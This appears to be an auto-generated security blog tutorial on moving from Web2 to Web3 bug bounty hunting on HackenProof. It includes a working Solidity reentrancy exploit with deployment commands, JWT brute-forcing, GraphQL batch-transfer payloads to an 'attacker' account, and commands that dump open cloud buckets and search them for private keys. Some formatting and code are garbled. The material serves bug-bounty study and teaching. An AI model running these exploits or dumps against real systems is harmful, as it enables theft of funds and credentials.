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Introduction:
Traditional bug bounty platforms like HackerOne (H1) and Bugcrowd (BC) are fiercely competitive, with elite researchers dominating public programs. However, the rise of Web3 and specialized platforms such as HackenProof (Ukrainian-based) offers a new frontier where ex-BlackHat skills in smart contracts, DeFi, and blockchain infrastructure can yield rapid reputation gains. This article dissects the technical shift from Web2 to Web3 bug hunting, providing actionable commands, configuration hardening steps, and vulnerability exploitation tactics used to climb global leaderboards.
Learning Objectives:
- Differentiate Web3 bug bounty workflows from traditional H1/BC approaches.
- Execute Linux/Windows commands for blockchain node inspection and smart contract analysis.
- Apply API security and cloud hardening techniques relevant to hybrid Web2+Web3 targets.
You Should Know:
- Setting Up a Web3 Bug Hunting Lab (Linux/Windows)
Traditional bug hunting relies on proxies like Burp Suite. Web3 hunting requires blockchain clients and smart contract decompilers. Below is a step‑by‑step environment setup.
Step‑by‑step guide (Ubuntu 22.04 / WSL2 on Windows):
Update system and install dependencies sudo apt update && sudo apt upgrade -y sudo apt install -y build-essential git curl python3 python3-pip npm Install Go (for many Web3 tools) wget https://go.dev/dl/go1.21.5.linux-amd64.tar.gz sudo tar -C /usr/local -xzf go1.21.5.linux-amd64.tar.gz echo 'export PATH=$PATH:/usr/local/go/bin' >> ~/.bashrc source ~/.bashrc Install Foundry (smart contract testing framework) curl -L https://foundry.paradigm.xyz | bash foundryup Install Mythril (symbolic execution for Ethereum) pip3 install mythril Install Slither (static analyzer) pip3 install slither-analyzer Clone HackenProof’s public testnet tools (if available) git clone https://github.com/hackenproof/hacken-tools.git
Windows (PowerShell as Admin):
Enable WSL2 wsl --install -d Ubuntu Then follow Linux steps inside WSL2
This lab allows you to locally compile, debug, and fuzz smart contracts before attacking live Web3 targets.
2. Reconnaissance: From Web2 to Web3 Attack Surfaces
Web3 bug bounty programs often include hybrid assets: traditional APIs (REST/GraphQL) plus blockchain RPC endpoints. Use the following commands to map both.
Step‑by‑step information gathering:
1. Enumerate subdomains of the target’s web interface (e.g., app.target.com)
subfinder -d target.com -o subs.txt
httpx -l subs.txt -path /api/v1 -status-code -title
<ol>
<li>Discover exposed RPC endpoints (Ethereum JSON-RPC)
nmap -p 8545,8546,30303 -sV --open target-ip-range</p></li>
<li><p>Use curl to query blockchain data (replace with target RPC)
curl -X POST http://target-rpc:8545 \
-H "Content-Type: application/json" \
--data '{"jsonrpc":"2.0","method":"eth_blockNumber","params":[],"id":1}'</p></li>
<li><p>Fetch contract source code from block explorers (if available)
curl "https://api.etherscan.io/api?module=contract&action=getsourcecode&address=0xContractAddress&apikey=YourApiKey"
Windows alternative: Use `Invoke-WebRequest` in PowerShell for API enumeration.
3. Smart Contract Vulnerability Exploitation (Reentrancy Example)
Reentrancy attacks remain a top‑scoring vulnerability on HackenProof. Below is a simplified vulnerable contract and an attack script.
Vulnerable Solidity contract (Vault.sol):
pragma solidity ^0.8.0;
contract Vault {
mapping(address => uint) public balances;
function deposit() public payable { balances[msg.sender] += msg.value; }
function withdraw(uint _amount) public {
require(balances[msg.sender] >= _amount);
(bool success, ) = msg.sender.call{value:_amount}("");
require(success);
balances[msg.sender] -= _amount;
}
function getBalance() public view returns (uint) { return address(this).balance; }
}
Attack contract (Attacker.sol):
interface IVault { function withdraw(uint) external; }
contract Attacker {
IVault public vault;
constructor(address _vault) { vault = IVault(_vault); }
receive() external payable { if (address(vault).balance >= 1 ether) vault.withdraw(1 ether); }
function attack() external payable { require(msg.value >= 1 ether); vault.deposit{value: 1 ether}(); vault.withdraw(1 ether); }
}
Step‑by‑step exploitation using Foundry:
Deploy vulnerable vault forge create Vault --private-key $PRIV_KEY --rpc-url $TESTNET_URL Deploy attacker and execute forge create Attacker --constructor-args $VAULT_ADDRESS --private-key $PRIV_KEY cast send $ATTACKER_ADDR "attack()" --value 1ether --private-key $PRIV_KEY Verify drained balance cast call $VAULT_ADDR "getBalance()" --rpc-url $TESTNET_URL
Mitigation command (using Slither to detect reentrancy):
slither Vault.sol --print human-summary | grep -i reentrancy
- API Security for Web3 Backends (JWT & GraphQL Hardening)
Many Web3 dApps use centralised APIs that can be bypassed. Use these commands to test authentication flaws.
Step‑by‑step API testing:
Extract JWT from login response
curl -X POST https://target.com/api/login -H "Content-Type: application/json" -d '{"user":"test","pass":"test"}' -v 2>&1 | grep -i "authorization"
JWT brute‑force (using jwt_tool)
python3 jwt_tool.py <JWT_TOKEN> -C -d dictionary.txt
GraphQL introspection query (find all available queries)
curl -X POST https://target.com/graphql -H "Content-Type: application/json" -d '{"query":"query{__schema{types{name,fields{name}}}}"}'
Test for batch query injection (bypass rate limits)
echo '{"query":"mutation{transfer(amount:1,to:\"attacker\")}","query2":"mutation{transfer(amount:1,to:\"attacker\")}"}' | \
curl -X POST https://target.com/graphql -H "Content-Type: application/json" -d @-
Windows (PowerShell with JWT module):
Install-Module -Name JWTDetails $token = "eyJ..." Get-JWTDetails -Token $token
5. Cloud Hardening for Web3 Infrastructure (AWS/GCP)
HackenProof programs often reward misconfigured cloud storage exposing private keys or RPC secrets.
Step‑by‑step cloud enumeration (Linux):
Check open S3 buckets (common in Web3 metadata hosting) aws s3 ls s3://target-bucket --no-sign-request If accessible, download all files recursively aws s3 cp s3://target-bucket ./bucket-dump --recursive --no-sign-request Enumerate GCP buckets (using gsutil) gsutil ls gs://target-bucket gsutil cp -r gs://target-bucket ./gcp-dump Search for hardcoded secrets in dumped files grep -rE "(private key|--BEGIN PRIVATE KEY|api[<em>-]key|rpc[</em>-]secret)" ./bucket-dump/
Mitigation script (set bucket to private):
aws s3api put-bucket-acl --bucket target-bucket --acl private
6. Reporting for Maximum Reputation (HackenProof Specific)
HackenProof uses a reputation scoring system (580 points as seen in the post). High‑quality reports with proof‑of‑concept (PoC) code yield more points.
Step‑by‑step report template:
Summary [One sentence describing the impact, e.g., "Reentrancy allows draining all deposited ETH"] Vulnerability Details - Platform: Smart contract at 0x... - Severity: Critical (CVSS 9.8) - Steps to Reproduce: 1. Deploy Attacker.sol (attached) 2. Call attack() with 1 ETH 3. Observe vault balance goes to zero Proof of Concept (Solidity + Bash script) [Include the exploit code from section 3] Impact Total loss of user funds (~$250k at current ETH price) Remediation Use Checks‑Effects‑Interactions pattern: update balance before external call.
Automated PoC generator (Linux):
Create a tarball with all findings tar -czf poc_$(date +%Y%m%d).tar.gz Vault.sol Attacker.sol exploit.log
7. Continuous Learning & Training Courses
To sustain leaderboard rankings, engage in Web3 security courses. Recommended free/paid materials:
- Linux command training: `overthewire.org` (Bandit wargame)
- Smart contract hacking: `ethernaut.openzeppelin.com` (interactive levels)
- Bug bounty methodology: `hackenproof.com/blog/web3-bug-bounty-training`
– API security labs: `portswigger.net/web-security/api-testing`
Course automation script (download all Ethernaut levels):
git clone https://github.com/OpenZeppelin/ethernaut.git cd ethernaut/contracts/levels for file in .sol; do solc --bin --abi $file; done
What Undercode Say:
- Key Takeaway 1: Specialised Web3 platforms like HackenProof offer lower competition and higher reward density for ex‑BlackHat skills than saturated Web2 bounties.
- Key Takeaway 2: Mastery of both on‑chain (Solidity/reentrancy) and off‑chain (API/cloud) attack vectors is essential – the hybrid vulnerability is the new high‑value target.
Analysis: The LinkedIn post’s shift from “failed in H1/BC” to “Top 150 on HackenProof” illustrates an industry trend: Web3 bounties reward deep protocol knowledge over generic web hacking. The 580 reputation points likely came from critical DeFi vulnerabilities, which require toolchains like Foundry and Slither – commands we detailed. Ex‑BlackHat experience is advantageous because Web3 auditing borrows from reverse engineering and low‑level exploitation. However, ethical boundaries are strict; reusing black‑hat techniques without permission violates platform rules. The post’s religious gratitude (“Allah gives me good way”) underscores a personal redemption arc, but technically it aligns with the platform’s Ukrainian origin – many researchers shift east due to less crowded leaderboards. Expect more migration to regional platforms as Web3 matures.
Prediction: Within 18 months, Web3 bug bounties will surpass Web2 in total payouts, driven by DeFi TVL exceeding $200b. Platforms like HackenProof will introduce AI‑powered smart contract fuzzers, requiring hunters to learn ML‑assisted vulnerability discovery – we will publish a separate guide on combining `mythril` with custom neural networks. Early adopters of hybrid Web2+Web3 skills will dominate leaderboards, while pure Web2 hunters see diminishing returns.
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IT/Security Reporter URL:
Reported By: Sans1986 Failed – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
